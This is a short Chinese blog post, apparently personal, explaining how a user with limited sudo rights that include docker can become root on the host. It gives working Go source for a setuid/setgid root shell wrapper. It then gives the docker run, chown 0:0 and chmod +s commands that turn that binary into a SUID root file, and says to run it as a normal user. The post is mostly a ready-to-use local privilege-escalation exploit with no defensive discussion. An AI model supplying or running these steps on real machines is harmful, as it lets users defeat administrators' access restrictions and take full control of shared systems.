某开发机账户配置的 sudo 权限只能应用于部分命令,,好在可以使用 sudo 运行 docker ,我们可以利用 docker 容器内 root 权限给可执行二进制文件设置 root 持有者、用户组和 SUID、SGID 权限。由于 SUID、SGID 特性,宿主机的普通用户可以在执行该文件时获取该文件的持有者、用户组的权限,因此可以利用这一点将普通用户提权。
1.编译以下代码
package main import ( "log" "os" "syscall" "golang.org/x/sys/unix" ) func main() { // Setgid _, _, _ = unix.RawSyscall(unix.SYS_SETGID, uintptr(0), 0, 0) // Setuid _, _, _ = unix.RawSyscall(unix.SYS_SETUID, uintptr(0), 0, 0) shell := "/usr/bin/bash" if err := syscall.Exec(shell, os.Args[1:], os.Environ()); err != nil { log.Fatalln(err) } }
2. 将可执行文件共享给 docker 容器。
sudo docker run -it --rm -v /mnt/:/mnt/ ubuntu:latest bash # 设置文件的持有者和用户组为 root chown 0:0 /mnt/shell # 设置 SUID、SGID 权限 chmod +s /mnt/shell
3. 在宿主机里使用普通用户执行即可获取 root shell。
本文标题:利用 docker 获取 root shell
版权声明:本文使用「署名 4.0 国际」创作共享协议,转载或使用请遵守署名协议。
相关文章
上一篇:根据背景图片色调动态调整文字颜色